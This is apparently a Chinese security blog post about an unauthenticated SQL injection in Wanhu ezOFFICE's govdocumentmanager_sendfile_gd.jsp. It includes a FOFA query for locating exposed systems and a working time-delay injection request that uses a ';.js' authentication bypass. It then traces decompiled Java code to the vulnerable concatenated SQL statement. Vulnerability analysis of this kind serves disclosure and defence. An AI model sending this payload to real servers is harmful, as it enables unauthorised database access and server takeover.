0x01 产品简介
万户OA ezoffice 是万户网络协同办公产品多年来一直将主要精力致力于中高端市场的一款OA协同办公软件产品,统一的基础管理平台,实现用户数据统一管理、权限统一分配、身份统一认证。统一规划门户网站群和协同办公平台,将外网信息维护、客户服务、互动交流和日常工作紧密结合起来,有效提高工作效率。
0x02 漏洞概述
万户 ezOFFICE modules/govoffice/gov_documentmanager/govdocumentmanager_sendfile_gd.jsp 接口存在SQL注入漏洞,未授权的攻击者可利用此漏洞获取数据库权限,深入利用可获取服务器权限。
0x03 复现环境
本地环境 OR FOFA:app="ezOFFICE协同管理平台" || app="万户ezOFFICE协同管理平台" || app="万户网络-ezOFFICE"
漏洞复现
GET /defaultroot/modules/govoffice/gov_documentmanager/govdocumentmanager_sendfile_gd.jsp;.js?sendFileId=1%3Bwaitfor%20delay%270%3A0%3A4%27 HTTP/1.1
Host: ezoffice.mrxn.net
成功延时 4 秒
漏洞分析
关于鉴权绕过,参考这篇文章:万户 ezOFFICE ajax_checkUserNum.jsp SQL注入漏洞
modules/govoffice/gov_documentmanager/govdocumentmanager_sendfile_gd.jsp 主要业务逻辑代码如下,非常简单!
SAVESIGNATURE
<%
//System.out.print("\n------ENTER 1--------\n");
String sendFileId = request.getParameter("sendFileId");
com.whir.ezoffice.workflow.common.util.WorkflowCommon workflowCommon = new com.whir.ezoffice.workflow.common.util.WorkflowCommon();
com.whir.govezoffice.documentmanager.bd.SendFileBD sendFileBD = new com.whir.govezoffice.documentmanager.bd.SendFileBD();
java.util.Map wfMap = sendFileBD.getDocWF(sendFileId, "2");
主要关注 这一行
java.util.Map wfMap = sendFileBD.getDocWF(sendFileId, "2");
跟进 com.whir.govezoffice.documentmanager.bd.SendFileBD() 下的 getDocWF 方法看下
public Map getDocWF(String id, String moduleId) {
ParameterGenerator pg = new ParameterGenerator(2);
Map result = null;
try {
EJBProxy ejbProxy = new GovDocumentManagerEJBProxy("SendFileEJB", "SendFileEJBLocal", SendFileEJBHome.class);
pg.put(id, String.class);
pg.put(moduleId, String.class);
result = (Map)ejbProxy.invoke("getDocWF", pg.getParameters());
} catch (Exception e) {
logger.error("error to getDocWF information :" + e.getMessage());
}
return result;
}
继续跟进 SendFileEJB
public Map getDocWF(String id, String moduleId) throws Exception {
Map result = new HashMap();
this.begin();
try {
Connection conn = this.session.connection();
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery("SELECT WF_IMMOFORM_ID FROM EZOFFICE.WF_IMMOBILITYFORM WHERE WF_MODULE_ID=" + moduleId);
String tableId = "";
String processId = "";
if (rs.next()) {
tableId = rs.getString(1);
}
rs = stmt.executeQuery("SELECT WORKPROCESS_ID FROM WF_WORK WHERE MODULEID=2 AND WORKRECORD_ID=" + id);
if (rs.next()) {
processId = rs.getString(1);
}
最终 sendFileId 也是拼接进SQL语句中,造成SQL注入漏洞,还是这么朴实无华!
最后
其他万户OA 相关漏洞
万户 ezOFFICE selectAmountField.jsp SQL注入漏洞
万户OA系列漏洞



